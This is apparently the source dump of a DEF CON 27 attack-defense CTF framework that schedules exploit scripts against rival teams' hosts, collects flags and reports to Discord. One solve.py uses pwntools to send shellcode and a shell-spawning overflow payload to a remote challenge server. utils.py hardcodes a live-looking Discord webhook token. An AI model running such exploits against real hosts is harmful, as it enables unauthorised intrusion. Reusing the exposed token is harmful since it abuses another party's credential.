19 | new Vue({
20 | el: '#app',
21 | router,
22 | components: { App },
23 | template: ''
24 | })
25 |
--------------------------------------------------------------------------------
/front/src/raw-displayer.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
{{ title }}
4 |
{{ valueString }}
5 |
6 |
7 |
27 |
--------------------------------------------------------------------------------
/front/src/router/index.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import Router from 'vue-router'
3 | import HelloWorld from '@/components/HelloWorld'
4 |
5 | Vue.use(Router)
6 |
7 | export default new Router({
8 | routes: [
9 | {
10 | path: '/',
11 | name: 'HelloWorld',
12 | component: HelloWorld
13 | }
14 | ]
15 | })
16 |
--------------------------------------------------------------------------------
/front/static/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/front/static/.gitkeep
--------------------------------------------------------------------------------
/worker/basic_settings.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | CHALLENGES_DIRECTORY = './challenges/'
4 | CELERY_PATH = 'redis://localhost/'
5 | DATABASES = ''
6 | CONF_PATH = os.getenv('CONF_PATH') or './conf_example.json'
7 | DEBUG = True
8 |
--------------------------------------------------------------------------------
/worker/challenges/combabo/conf.json:
--------------------------------------------------------------------------------
1 | {"name": "combabo", "port": 1234, "teams": [{"name": "Ax0xE", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "CGC", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "HITCONxBFKinesiS", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "hxp", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "KaisHack GoN", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "mhackeroni", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "Plaid Parliament of Pwning", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "r00timentary", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "r3kapig", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "saarsec", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "Samurai", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "Sauercloud", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "SeoulPlusBadAss", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "Shellphish", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "Tea Deliverers", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}, {"name": "TokyoWesterns", "priority": [{"name": "ex1", "max_try": 10, "is_test": false}]}]}
--------------------------------------------------------------------------------
/worker/challenges/combabo/ex1/mno2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/worker/challenges/combabo/ex1/mno2
--------------------------------------------------------------------------------
/worker/challenges/combabo/ex1/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
4 |
5 | cd $DIR # change path to its path
6 |
7 | stdbuf -i0 -o0 -e0 python solve.py
8 | # python solve.py
9 |
--------------------------------------------------------------------------------
/worker/challenges/combabo/ex1/solve.py:
--------------------------------------------------------------------------------
1 | #from yeonnic import *
2 | from pwn import *
3 |
4 | elf=ELF("./mno2")
5 |
6 | # p=process("./mno2")
7 | p=remote("chall.pwnable.tw", 10301)
8 |
9 | #gdb_attach(p,"b *0x80487e8\nc")
10 |
11 | # Redacted
12 | print len(shellcode)
13 | p.sendline(shellcode)
14 | p.sendline("A"*0x3a+asm(shellcraft.sh()))
15 |
16 | import time
17 | time.sleep(1)
18 | # p.sendline('cat /home/mno2/flag')
19 | p.sendline('echo "OOO{hello}" > /dev/shm/juno1234')
20 | p.sendline('cat /dev/shm/juno1234')
21 | # print 'OOO{' + p.recv() + '}'
22 |
23 | print p.recv()
24 | # p.interactive()
25 |
--------------------------------------------------------------------------------
/worker/conf_example2.json:
--------------------------------------------------------------------------------
1 | {
2 | "team_info": [
3 | {"name": "Ax0xE", "host": ""},
4 | {"name": "CGC", "host": ""},
5 | {"name": "HITCONxBFKinesiS", "host": ""},
6 | {"name": "hxp", "host": ""},
7 | {"name": "KaisHack GoN", "host": ""},
8 | {"name": "mhackeroni", "host": ""},
9 | {"name": "Plaid Parliament of Pwning", "host": ""},
10 | {"name": "r00timentary", "host": ""},
11 | {"name": "r3kapig", "host": ""},
12 | {"name": "saarsec", "host": ""},
13 | {"name": "Samurai", "host": ""},
14 | {"name": "Sauercloud", "host": ""},
15 | {"name": "SeoulPlusBadAss", "host": ""},
16 | {"name": "Shellphish", "host": ""},
17 | {"name": "Tea Deliverers", "host": ""},
18 | {"name": "TokyoWesterns", "host": ""}
19 | ],
20 | "exploit": [
21 | ]
22 | }
23 |
24 |
--------------------------------------------------------------------------------
/worker/exm/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/worker/exm/__init__.py
--------------------------------------------------------------------------------
/worker/exm/conf/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 | import importlib.util
3 |
4 |
5 | class Settings:
6 | def __init__(self):
7 | spec = importlib.util.spec_from_file_location('settings', os.getenv('SETTING_PATH'))
8 | user_settings = importlib.util.module_from_spec(spec)
9 | spec.loader.exec_module(user_settings)
10 |
11 | for setting in dir(user_settings):
12 | if setting.isupper():
13 | # Load setting from user
14 | setattr(self, setting, getattr(user_settings, setting))
15 |
16 | def __getattr__(self, name):
17 | return self.__dict__[name]
18 |
19 | def __setattr__(self, name, value):
20 | self.__dict__[name] = value
21 | return
22 |
23 | settings = Settings()
24 |
--------------------------------------------------------------------------------
/worker/exm/run_tests.py:
--------------------------------------------------------------------------------
1 | import tests.test_02ci
2 |
--------------------------------------------------------------------------------
/worker/exm/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/worker/exm/tests/__init__.py
--------------------------------------------------------------------------------
/worker/exm/tests/test_ci.py:
--------------------------------------------------------------------------------
1 | assert True
2 |
--------------------------------------------------------------------------------
/worker/exm/tests/test_get_conf.py:
--------------------------------------------------------------------------------
1 | import unittest
2 |
3 | import os
4 | import json
5 |
6 | os.environ['CONF_PATH'] = '/tmp/test_conf.json'
7 |
8 | from exm.conf import settings
9 | from exm.utils import get_configuration
10 |
11 |
12 | class TestGetConfig(unittest.TestCase):
13 | """
14 | Test get config
15 | """
16 |
17 | def test_get_conf(self):
18 | data = json.dumps({'juno': '1234'})
19 | open('/tmp/test_conf.json', 'wb').write(data.encode())
20 | self.assertEqual(get_configuration()['juno'], '1234')
21 |
22 |
23 | if __name__ == '__main__':
24 | unittest.main()
25 |
--------------------------------------------------------------------------------
/worker/exm/tests/test_getsetting.py:
--------------------------------------------------------------------------------
1 | import unittest
2 |
3 | import os
4 | from exm.conf import settings
5 |
6 |
7 | class TestGetSetting(unittest.TestCase):
8 | """
9 | Test get config
10 | """
11 |
12 | def test_getenv_setting_path(self):
13 | self.assertEqual(os.getenv('SETTING_PATH') != '', True)
14 |
15 | def test_get_CELERY_PATH(self):
16 | self.assertEqual(settings.CELERY_PATH.startswith('redis://'), True)
17 |
18 |
19 | if __name__ == '__main__':
20 | unittest.main()
21 |
--------------------------------------------------------------------------------
/worker/exm/utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import re
3 | import os
4 | import json
5 | import logging
6 | import coloredlogs
7 | import verboselogs
8 | import traceback
9 |
10 | from dhooks import Webhook, Embed
11 |
12 | from exm.conf import settings
13 |
14 | # logger = logging.getLogger(__name__)
15 | logger = verboselogs.VerboseLogger(__name__)
16 |
17 | # Coloredlogs docs :
18 | # https://coloredlogs.readthedocs.io/en/latest/api.html#available-text-styles-and-colors
19 | # https://coloredlogs.readthedocs.io/en/latest/api.html#classes-and-functions
20 |
21 | formatter = '%(asctime)s %(funcName)15s : [%(levelname)s] %(message)s'
22 | # formatter = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
23 |
24 | level_styles = coloredlogs.DEFAULT_LEVEL_STYLES
25 | level_styles.update({
26 | 'debug': {'color': 'white'},
27 | })
28 |
29 | field_styles = coloredlogs.DEFAULT_FIELD_STYLES
30 | field_styles.update({
31 | 'asctime': {'color': 'blue', 'bright': True},
32 | 'filename': {'color': 'magenta'},
33 | 'funcName': {'color': 'magenta'},
34 | 'lineno': {'color': 'magenta'},
35 | })
36 |
37 | coloredlogs.install(level='debug',
38 | logger=logger,
39 | milliseconds=True,
40 | fmt=formatter,
41 | level_styles=level_styles,
42 | field_styles=field_styles)
43 |
44 | # Add file handler
45 | fh = logging.FileHandler('app.log')
46 | fh.setLevel(logging.DEBUG)
47 | ff = logging.Formatter(formatter)
48 | fh.setFormatter(ff)
49 | logger.addHandler(fh)
50 |
51 |
52 | def flag_parser(data: str):
53 | # I am not sure, we need to change it at the table.
54 | return re.finditer(r'OOO[A-Za-z0-9 ]{45}', data)
55 |
56 | def submit_flag(flag) -> bool:
57 | # I am not sure, we need to change it at the table.
58 | return True
59 |
60 | def send_result_to_server(data):
61 | # TODO
62 | pass
63 |
64 | def send_discord(level: str, message: str) -> bool:
65 | assert level in ['info', 'warning', 'success', 'error']
66 | try:
67 | hook = Webhook('https://discordapp.com/api/webhooks/607840984373526548/mh5iaiPW-y4M_cED3DfHQJL5h7nSg1K7PUP7pWGj8nKe9F0zpm3SFE3zEIzFX0TNGbMs')
68 | except:
69 | logger.exception('discord send error')
70 | return False
71 |
72 | if level == 'info':
73 | color = 0x00fffa
74 | elif level == 'warning':
75 | color = 0xffe900
76 | elif level == 'success':
77 | color = 0x04ff00
78 | elif level == 'error':
79 | color = 0xff0000
80 |
81 | try:
82 | embed = Embed(
83 | title=level.upper(),
84 | description=message,
85 | color=color,
86 | timestamp='now' # sets the timestamp to current time
87 | )
88 | hook.send(embed=embed)
89 | except:
90 | logger.exception('discord send error')
91 | return False
92 |
93 | return True
94 |
95 | def logging_and_discord(level: str, message: str):
96 | getattr(logger, level)(message)
97 | send_discord(level, message)
98 |
99 | def get_configuration():
100 | conf_path = settings.CONF_PATH
101 | conf = json.loads(open(conf_path, 'rb').read())
102 |
103 | '''
104 | append exploit configuration
105 | '''
106 | challenges_directory = getattr(settings, 'CHALLENGES_DIRECTORY', './challenges/') # from config
107 | cfd = parse_challenges_from_directory()
108 | for chall in cfd:
109 | file_name = os.path.join(challenges_directory, chall, 'conf.json')
110 | if not os.path.exists(file_name): continue
111 | with open(file_name, 'r') as f:
112 | data = f.read()
113 | data = json.loads(data)
114 | conf['exploit'].append(data)
115 |
116 | return conf
117 |
118 | def parse_challenges_from_directory():
119 | challenges_directory = getattr(settings, 'CHALLENGES_DIRECTORY', './challenges/') # from config
120 | return sorted(os.listdir(challenges_directory))
121 |
122 | def parse_solvers_from_directory(challenge_name):
123 | challenges_directory = getattr(settings, 'CHALLENGES_DIRECTORY', './challenges/') # from config
124 | solvers = []
125 |
126 | for _ in os.scandir(os.path.join(challenges_directory, challenge_name)):
127 | if _.is_dir() and _.name.startswith('exploit') or _.name.startswith('ex'): # exploit folder prefix from config
128 | solvers.append(_.name)
129 |
130 | return solvers
131 |
132 |
133 | if __name__ == '__main__':
134 | assert(next(flag_parser('asdfasdfsdfOOO{junoim123123123123}'))[0] == 'OOO{junoim123123123123}') # legacy
135 | challenges = parse_challenges_from_directory()
136 | solvers = parse_solvers_from_directory(challenges[0])
137 | print(solvers)
138 |
--------------------------------------------------------------------------------
/worker/go.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import re
3 | import time
4 |
5 | from tasks import run
6 |
7 | from exm.utils import *
8 | from exm.conf import settings
9 |
10 | from pprint import pprint
11 |
12 |
13 | cmd_list = []
14 |
15 | '''
16 | 1. parse team info
17 | 2. parse exploit schedule info
18 | 3. run, run!
19 |
20 | [CELARY WORKER]
21 | prob1 -> PPP - ex1..
22 | -> QQQ - ex2..
23 | -> WWW - ex3..
24 |
25 | MAX_TRY,
26 |
27 | '''
28 |
29 | def log(*args):
30 | if settings.DEBUG:
31 | pprint(args)
32 |
33 | exploit_conf = get_configuration()
34 | pprint(exploit_conf)
35 |
36 | CHALLENGS = parse_challenges_from_directory()
37 | TEAM_INFO = exploit_conf['team_info']
38 |
39 | for chall_name , v in exploit_conf['exploit'].items():
40 | if chall_name in CHALLENGS:
41 | # TOOD: multi processing starts from here
42 | challenge_port = v.pop('PORT')
43 | challenge_exploits = parse_solvers_from_directory(chall_name)
44 | log(challenge_exploits)
45 |
46 | for team, exploits in v.items():
47 | log(team, exploits)
48 | # print(team, exploits, TEAM_INFO[team])
49 | print('-'*20)
50 | tmp = []
51 | for exploit in exploits:
52 | tmp.append({'task': ['/usr/bin/timeout', '3', settings.CHALLENGES_DIRECTORY + './%s/%s/run.sh' % (chall_name, exploit['name'])],
53 | 'max_try': exploit['MAX_TRY'], 'team': team, 'challenge': chall_name})
54 |
55 | cmd_list.append(tmp)
56 |
57 |
58 | # stdbuf -i0 -o0 -e0
59 | '''
60 | use buffer to 0 ori PYTHONUNBUFFERED=1
61 | '''
62 |
63 | '''
64 | cmd_list = [
65 | # ["stdbuf", "-i0", "-o0", "-e0", "/usr/bin/timeout", "3", "./example_chall/run.sh"],
66 | ["/usr/bin/timeout", "3", settings.CHALLENGES_DIRECTORY + "./example_chall/exploit1/run.sh"],
67 | ]
68 | '''
69 |
70 | def is_done(t_array):
71 | for _ in t_array:
72 | if _['status'] == 0:
73 | return False
74 | return True
75 |
76 | def get_idx_t_array(t_array, t):
77 | for i in range(len(t_array)):
78 | if t_array[i] == t:
79 | return i
80 | return -1
81 |
82 |
83 | def main():
84 | pprint(cmd_list)
85 | t_array = []
86 |
87 | # TODO: Performance
88 | for cmd in cmd_list:
89 | t_array.append({'task': run.delay(cmd[0]['task']), 'status': 0, 'next_cmd': cmd[1:], 'now_try': 0, 'max_try': cmd[0]['max_try'],
90 | 'team': cmd[0]['team'], 'challenge': cmd[0]['challenge']})
91 |
92 | while True:
93 | if is_done(t_array): break
94 |
95 | for t in t_array:
96 | if t['task'].ready() and t['status'] == 0:
97 | idx = get_idx_t_array(t_array, t)
98 | t_array[idx]['now_try'] += 1
99 |
100 | try:
101 | # success
102 | ret = t['task'].get()
103 | output = ret[0]
104 | flag = next(flag_parser(ret[1]))[0]
105 |
106 | t_array[idx]['status'] = 1
107 | t_array[idx]['flag'] = flag
108 | except:
109 | # err
110 | print(dir(t['task']))
111 | print('err', t['task'].traceback)
112 | print('------------========='*5)
113 | print(t_array[idx]['next_cmd'])
114 |
115 | if t_array[idx]['max_try'] == t_array[idx]['now_try']:
116 | # change to next exploit
117 | t_array[idx]['status'] = -1
118 | _cmd = t_array[idx]['next_cmd']
119 | if len(_cmd) == 0:
120 | break
121 | t_array.append({'task': run.delay(_cmd[0]['task']), 'status': 0, 'next_cmd': _cmd[1:], 'now_try': 0, 'max_try': _cmd[0]['max_try'],
122 | 'team': _cmd[0]['team'], 'challenge': _cmd[0]['challenge']})
123 |
124 | finally:
125 | print('idx', idx)
126 |
127 | time.sleep(0.1)
128 |
129 | # clean up
130 |
131 | for i in range(len(t_array)):
132 | t_array[i].pop('next_cmd')
133 | t_array[i].pop('task')
134 |
135 | print('='*50)
136 | print(json.dumps(t_array, sort_keys=True,
137 | indent=4, separators=(',', ': ')))
138 |
139 | if __name__ == '__main__':
140 | main()
141 |
--------------------------------------------------------------------------------
/worker/manual.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from refactor import *
3 |
4 |
5 | if __name__ == '__main__':
6 | exm = ExploitManager()
7 | exm.start_round(only_me=[('prob1', 'ex1')])
8 |
--------------------------------------------------------------------------------
/worker/readme.md:
--------------------------------------------------------------------------------
1 | # exploit task worker
2 |
3 | ## implementation
4 |
5 | ```
6 | read config file
7 | execute celery task
8 | +----------------+ +----------------+ +----------------+
9 | | node | change config | | | celery |
10 | | (dashboard +---file---------->+ go.py <---------------> with redis |
11 | | framework) | | | | (broker / be) |
12 | +----------------+ +----------------+ +----------------+
13 |
14 |
15 | go.py under multi process
16 | ```
17 |
18 | ## dependencies
19 |
20 | - celery
21 | - celery-flower (web maanger client)
22 |
23 |
24 | # Run
25 |
26 | ```sh
27 | export CONF_PATH={CONF_PATH}
28 | SETTING_PATH=basic_settings.py ./go.py
29 | ```
30 |
31 | - conf_example.json
32 |
33 | ```json
34 | {
35 | "team_info": [
36 | {"name": "PPP", "host": "1.2.3.4"},
37 | {"name": "QQQ", "host": "1.2.3.4"},
38 | ],
39 | "exploit": [
40 | {
41 | "name": "prob1",
42 | "port": 1234,
43 | "teams": [
44 | {"name": "PPP", "priority": [{"name": "ex1", "max_try": 5}]},
45 | {
46 | "name": "QQQ",
47 | "priority": [
48 | {"name": "ex2", "max_try": 5},
49 | {"name": "ex1", "max_try": 5}
50 | ]
51 | }
52 | ]
53 | }
54 | ]
55 | }
56 | ```
57 |
--------------------------------------------------------------------------------
/worker/refactor.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import re
3 | import time
4 | import datetime
5 | import traceback
6 |
7 | from tasks import run
8 |
9 | from exm import utils
10 | from exm.utils import logger
11 | from exm.conf import settings
12 |
13 | from pprint import pprint
14 | from apscheduler.schedulers.blocking import BlockingScheduler
15 |
16 |
17 | """
18 | input:
19 | {
20 | "team_info": [
21 | {"name": "PPP", "host": "1.2.3.4"},
22 | {"name": "QQQ", "host": "1.2.3.4"},
23 | ],
24 | "exploit": [
25 | {
26 | "name": "prob1",
27 | "port": 1234,
28 | "teams": [
29 | {"name": "PPP", "priority": [{"name": "ex1", "max_try": 5}]},
30 | {
31 | "name": "QQQ",
32 | "priority": [
33 | {"name": "ex2", "max_try": 5},
34 | {"name": "ex1", "max_try": 5}
35 | ]
36 | }
37 | ]
38 | }
39 | ]
40 | }
41 | """
42 |
43 |
44 | class ExploitManager:
45 | def __init__(self):
46 | self.configuration = None
47 | self.CHALLENGES = None
48 | self.TEAM_INFO = None
49 |
50 | self.reload_configuration()
51 |
52 | def reload_configuration(self):
53 | self.configuration = utils.get_configuration()
54 | pprint(self.configuration)
55 | self.CHALLENGES = utils.parse_challenges_from_directory()
56 | self.TEAM_INFO = self.configuration['team_info']
57 | self.EXPLOITS = self.configuration['exploit']
58 |
59 | def setup_task_list(self, only_me=None, reload_conf=False) -> (list, int):
60 | if reload_conf:
61 | self.reload_configuration()
62 |
63 | commands = []
64 | task_count = 0
65 |
66 | for exploit in self.EXPLOITS:
67 | challenge_name = exploit['name']
68 | challenge_port = exploit['port']
69 |
70 | if challenge_name in self.CHALLENGES:
71 | challenge_solvers = utils.parse_solvers_from_directory(challenge_name)
72 | challenges = []
73 |
74 | not_exists = set([])
75 | for team in exploit['teams']:
76 | exploits = []
77 |
78 | for _exploit in team['priority']:
79 | if only_me is not None:
80 | if (challenge_name, _exploit['name']) not in only_me:
81 | continue
82 | else:
83 | if 'is_test' in _exploit and _exploit['is_test']:
84 | continue
85 |
86 | if _exploit['name'] in challenge_solvers:
87 | host = ''
88 | exploits.append({
89 | 'cmd': ['/usr/bin/timeout', '15', settings.CHALLENGES_DIRECTORY + f'./{challenge_name}/{_exploit["name"]}/run.sh'],
90 | 'host': [asdf for asdf in self.TEAM_INFO if asdf['name'] == team['name']][0]['host'],
91 | 'name': _exploit['name'],
92 | 'max_try': _exploit['max_try'],
93 | 'now_try': 0,
94 | 'output': None,
95 | 'celery': None,
96 | 'status': None
97 | })
98 | task_count += 1
99 | else:
100 | # logger.warning(f'`{challenge_name}` -> `{team["name"]}` -> `{_exploit["name"]}` exploit not exists')
101 | not_exists.add(f'`{challenge_name}` -> `{_exploit["name"]}` exploit not exists')
102 |
103 | challenges.append({
104 | 'team': team['name'],
105 | 'exploits': exploits,
106 | 'status': None
107 | })
108 |
109 | commands.append({
110 | 'challenge': challenge_name,
111 | 'port': challenge_port,
112 | 'tasks': challenges,
113 | 'status': None
114 | })
115 | else:
116 | # logger.warning('challenge not exists')
117 | not_exists.add(f'`{challenge_name}` challenge not exists')
118 |
119 | if not_exists:
120 | utils.logging_and_discord('warning', '\n'.join(not_exists))
121 |
122 | return commands, task_count
123 |
124 | def start_exploit(self, tasks: list) -> list:
125 | """
126 | `result.append(exploit)` mean it's end of each exploit
127 | """
128 | def make_result(challenge: dict, task: dict, exploit: dict) -> dict:
129 | """
130 | {
131 | "challenge": "prob1",
132 | "flag": "OOO{123123123123123adsf}",
133 | "max_try": 5,
134 | "now_try": 1,
135 | "status": 1,
136 | "team": "PPP"
137 | }
138 | """
139 | if exploit['status'] == 'success':
140 | # TODO: submit flag to authentication server / append response
141 | _flag = exploit['output']
142 | _flag_output = utils.submit_flag(_flag)
143 | else:
144 | _flag_output = None
145 |
146 | return {
147 | 'challenge': challenge['challenge'],
148 | 'team': task['team'],
149 | 'exploit': exploit['name'],
150 | 'output': exploit['output'],
151 | 'flag_status': _flag_output,
152 | 'max_try': exploit['max_try'],
153 | 'now_try': exploit['now_try'],
154 | 'status': exploit['status'],
155 | 'date': str(datetime.datetime.now())
156 | }
157 |
158 | result = []
159 |
160 | # run exploit
161 | for challenge in tasks:
162 | for task in challenge['tasks']:
163 | for exploit in task['exploits']:
164 | if exploit['status'] is None:
165 | obj = run.delay(exploit['cmd'], exploit['host'])
166 | # create celery task
167 | exploit['celery'] = obj
168 | exploit['status'] = 'progress'
169 | exploit['now_try'] += 1
170 | logger.info(f'[!] execute `{exploit["name"]}` exploit of `{challenge["challenge"]}` to team {task["team"]} '+
171 | f'with retry ({exploit["now_try"]} / {exploit["max_try"]})')
172 | break
173 | elif exploit['status'] == 'progress':
174 | # check exploit finished
175 | if exploit['celery'].ready():
176 | try:
177 | ret = exploit['celery'].get()
178 | except:
179 | # traceback.print_exc()
180 | # error
181 | traceback_log = exploit['celery'].traceback
182 | exploit['output'] = traceback_log[:100]
183 | # if exception occur, don't retry
184 | exploit['status'] = 'exception'
185 | result.append(make_result(challenge, task, exploit))
186 | else:
187 | # success
188 | output = ret[0]
189 | try:
190 | flag = next(utils.flag_parser(ret[1]))[0]
191 | except StopIteration:
192 | # flag not found, do retry
193 | if exploit['now_try'] == exploit['max_try']:
194 | exploit['status'] = 'retry_exceed'
195 | result.append(make_result(challenge, task, exploit))
196 | else:
197 | exploit['status'] = None
198 | break
199 | else:
200 | exploit['output'] = flag
201 | exploit['status'] = 'success'
202 | result.append(make_result(challenge, task, exploit))
203 | else:
204 | break
205 | elif exploit['status'] == 'success':
206 | pass
207 | else:
208 | # failed case
209 | # exception, timeout, retry_exceed
210 | pass
211 |
212 | return result
213 |
214 | def start_round(self, only_me=None):
215 | logger.info('=====================================================')
216 | logger.info(f'round start : {datetime.datetime.now()}')
217 |
218 | tasks, task_count = self.setup_task_list(only_me=only_me, reload_conf=True)
219 |
220 | if task_count == 0:
221 | logger.warning('nothing to work!')
222 |
223 | finish_task = 0
224 | result = []
225 |
226 | while task_count > finish_task:
227 | partial_result = self.start_exploit(tasks)
228 | finish_task += len(partial_result)
229 |
230 | if len(partial_result) != 0:
231 | result.extend(partial_result)
232 | logger.info(partial_result)
233 | logger.info(f'finished : {finish_task} / remain : {task_count - finish_task}')
234 |
235 | time.sleep(0.3)
236 |
237 | # TODO : send result to Dashboard
238 |
239 | # send to logger
240 | success_message = []
241 | warning_message = []
242 | error_message = []
243 | for res in result:
244 | msg = f'`{res["challenge"]}` -> `{res["team"]}`'
245 | if res['status'] == 'success':
246 | # should be get flag
247 | msg += f' -> `{res["exploit"]}` exploit success.'
248 |
249 | # TODO: submit flag to authentication server / append response
250 | _flag = res['output']
251 | if res['flag_status']:
252 | # utils.logging_and_discord('success', msg + f' and submit flag success -> {_flag}')
253 | success_message.append(msg + f' and submit flag success -> {_flag}')
254 | else:
255 | logger.exception(f'error while submitting flag ({_flag}) to authentication server')
256 | # utils.send_discord('warning', msg + f' but submit flag failed -> {_flag}')
257 | warning_message.append(msg + f' but submit flag failed -> {_flag}')
258 | else:
259 | # utils.logging_and_discord('error', msg + f' -> `{res["exploit"]}` exploit failed ({res["status"]})')
260 | error_message.append(msg + f' -> `{res["exploit"]}` exploit failed ({res["status"]})')
261 |
262 | if success_message:
263 | for i in range(0, len(success_message), 8):
264 | utils.logging_and_discord('success', '\n'.join(success_message[i: i+8]))
265 | if warning_message:
266 | for i in range(0, len(warning_message), 5):
267 | utils.logging_and_discord('warning', '\n'.join(warning_message[i: i+5]))
268 | if error_message:
269 | for i in range(0, len(error_message), 5):
270 | utils.logging_and_discord('error', '\n'.join(error_message[i: i+5]))
271 |
272 | logger.info('~~~~~~~~~~~~~~~~~~~~end~~~~~~~~~~~~~~~~~~~'*2)
273 |
274 | def run(self):
275 | # run schuduler
276 | now = datetime.datetime.utcnow()
277 | logger.info(f'UTC Now : {now}')
278 |
279 | # round start every 5 minute
280 | round_interval = 2
281 |
282 | nearest_minute = int((now.minute + round_interval - 1) / round_interval) * round_interval
283 | next_time = now.replace(minute=0, second=0, microsecond=0) + datetime.timedelta(minutes=nearest_minute)
284 | interval = {'weeks': 0, 'days': 0, 'hours': 0, 'minutes': round_interval, 'seconds': 0}
285 |
286 | logger.info(f'Start time : {next_time}')
287 |
288 | self.start_round()
289 |
290 | scheduler = BlockingScheduler()
291 | scheduler.add_job(func=self.start_round, args=(),
292 | start_date=next_time.strftime('%Y-%m-%d %H:%M:%S'),
293 | trigger='interval', **interval)
294 | scheduler.start()
295 |
296 |
297 | if __name__ == '__main__':
298 | exm = ExploitManager()
299 | exm.run()
300 |
--------------------------------------------------------------------------------
/worker/requirements.txt:
--------------------------------------------------------------------------------
1 | celery==4.3.0
2 | redis==3.2.1
3 | pylint==2.3.1
4 | APScheduler==3.6.1
5 | dhooks==1.1.0
6 | verboselogs==1.7
7 | coloredlogs==10.0
8 |
--------------------------------------------------------------------------------
/worker/run.sh:
--------------------------------------------------------------------------------
1 | # CONF_PATH=conf_example.json SETTING_PATH=basic_settings.py ./go.py
2 | CONF_PATH=conf_example2.json SETTING_PATH=basic_settings.py ./refactor.py
3 |
--------------------------------------------------------------------------------
/worker/run_celery.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | SETTING_PATH=basic_settings.py celery -A tasks worker --concurrency=32 --loglevel=info --logfile=log.txt
3 | # celery -A tasks worker
4 |
--------------------------------------------------------------------------------
/worker/run_server.sh:
--------------------------------------------------------------------------------
1 | # CONF_PATH=conf_example.json SETTING_PATH=basic_settings.py ./go.py
2 | CONF_PATH=conf_example2.json SETTING_PATH=basic_settings.py ./server.py
3 |
--------------------------------------------------------------------------------
/worker/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import os
3 | import json
4 |
5 | from flask import Flask, request
6 | from flask_cors import CORS
7 |
8 | from exm.conf import settings
9 | from exm import utils
10 |
11 |
12 | app = Flask(__name__)
13 |
14 | cors = CORS(app, resources={r"*": {"origins": "*"}})
15 |
16 | @app.route('/load', methods=['GET'])
17 | def load_conf():
18 | conf = request.args.get('chall')
19 | challenges_directory = getattr(settings, 'CHALLENGES_DIRECTORY', './challenges/') # from config
20 | p = os.path.join(challenges_directory, conf.replace('.', ''), 'conf.json')
21 | return open(p).read()
22 |
23 |
24 | @app.route('/save', methods=['POST'])
25 | def save_conf():
26 | conf = request.args.get('chall')
27 | data = request.get_json()
28 |
29 | challenges_directory = getattr(settings, 'CHALLENGES_DIRECTORY', './challenges/') # from config
30 | p = os.path.join(challenges_directory, conf.replace('.', ''), 'conf.json')
31 | with open(p, 'w') as f:
32 | f.write(json.dumps(data))
33 |
34 | return open(p).read()
35 |
36 | @app.route('/challs', methods=['GET'])
37 | def get_challs():
38 | ret = utils.parse_challenges_from_directory()
39 | out = []
40 | for r in ret:
41 | out.append({"id": r, "name": r})
42 | return json.dumps(out)
43 |
44 | if __name__ == '__main__':
45 | app.run(host='0.0.0.0', port=1234, threaded=True)
46 |
--------------------------------------------------------------------------------
/worker/tasks.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3.7
2 |
3 | from celery import Celery
4 | import time
5 | import os
6 | import signal
7 | from exm.conf import settings
8 | import subprocess
9 |
10 | CELERY_PATH = getattr(settings, 'CELERY_PATH')
11 | app = Celery('tasks', broker=CELERY_PATH, backend=CELERY_PATH)
12 |
13 | @app.task
14 | def run(args, host):
15 | new_env = os.environ.copy()
16 | new_env['TARGET_HOST'] = host
17 | proc = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=new_env)
18 |
19 | try:
20 | outs, errs = proc.communicate(timeout=30)
21 | except:
22 | proc.kill()
23 | outs, errs = proc.communicate()
24 | finally:
25 | if type(outs) == bytes:
26 | outs = outs.decode('utf-8')
27 | if type(errs) == bytes:
28 | errs = errs.decode('utf-8')
29 | return (args, outs, errs)
30 |
31 |
32 |
--------------------------------------------------------------------------------